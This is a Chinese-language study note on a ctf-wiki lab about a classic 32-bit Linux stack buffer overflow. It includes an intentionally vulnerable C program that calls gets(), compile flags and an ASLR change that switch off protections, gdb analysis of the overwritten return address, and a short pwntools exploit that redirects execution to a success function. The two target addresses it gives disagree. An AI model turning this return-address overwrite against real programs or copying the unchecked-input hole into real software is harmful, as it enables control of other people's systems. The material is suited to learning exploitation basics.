Linux Buffer Overflow

前置基础知识

本文记录学习ctf-wiki的实验过程

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/

  1. 汇编中CALLRET指令
  2. 汇编中高级过程,通过堆栈传递函数参数
  3. 汇编中的函数调用过程及堆栈变化
  4. gdb使用方法

环境准备

  • [+]ubuntu
    • [+]关闭ASLR。修改/proc/sys/kernel/randomize_va_space文件
    • [+]gcc + gcc-multilib
  • [+]pwntools
  • [+]pwngdb(gdb插件)

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<string.h>
#include<stdio.h>
void success() {
puts("You Hava already controlled it.");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}

int main(int args, char **argv) {
vulnerable();
return 0;
}

编译程序

1
gcc -m32 -fno-stack-protector overflow.c -o example
  • -m32 执行编译程序为32位程序
  • -fno-stack-protector 关闭栈溢出保护
  • -o 编译后输出的文件名

调试过程

下断点

在gdb中利用函数下断点b vulnerable,函数断在vulnerable入口

image-20201024002845892

逐步执行到0x56556239,输入过量的字符

image-20201024002933886

继续向下,其中注意栈中的数据覆盖情况,由于输入了过量的字符,缓冲区空间被填满并溢出,溢出的数据将缓冲区后面的地址覆盖

image-20201024002959099

继续向下执行查看vulnerable函数的RET指令返回地址,返回地址信息为0x7271706f,该地址信息是连续递减的16进制数字,转换为ascii为rqpo。在计算机中,由于小端显示会将正常的输入翻序,所以原信息为opqr,正好对应上图栈地址中0xffffd04c的内容,而该地址是ebp+4

image-20201024003014134

根据汇编中的RET指令的原理,如果将RET跳转的地址信息进行覆盖,覆盖为一个有效的命令执行地址,那就可以控制程序的执行过程,从而执行我们希望执行的指令。

构造利用代码

通过数有次序的字符,可以猜出缓冲区的大小。这个题中缓冲区大小为20个字节,所以要先用20个字节将缓冲区填满\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41,再对EBP进行覆盖\\x42\\x42\\x42\\x42,再拼接要跳转小端显示的地址(该题目要求跳转到success函数中,可以通过IDA Pro等逆向工具获取success函数的内存地址,我是通过在gdb中对success下断点获取到的内存地址),原地址为0x565561ed,经过小端显示处理后为\\xed\\x61\\x55\\x56,将这三个部分进行拼接得到payload

1
2
3
4
\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41
\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41
\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42
\\xed\\x61\\x55\\x56

因为这里的\xed是非打印字符,所以我采用python发送的方式进行调试,利用pwntools进行输入。

在调试器中成功执行。

image-20201024003030315

利用pwntools编写利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding=utf8 -*-

from pwn import process
# p32函数作用是将数字转换为小端显示的byte
from pwnlib.util.packing import p32

sh = process('./example')
success_addr = 0x80491b6

# buffer_size = 0123456789abcdefghij ret = klmn ret = opqr others = stuvwxyz
payload = b'a' * 0x14 + b'b' * 0x4 + p32(success_addr)
sh.sendline(payload)
sh.interactive()

总结

  • [+] 目前只在调试器中成功执行,在脱离调试器后还无法显示结果,正在努力解决。
  • 目前对pwntools还不太了解,要熟练掌握。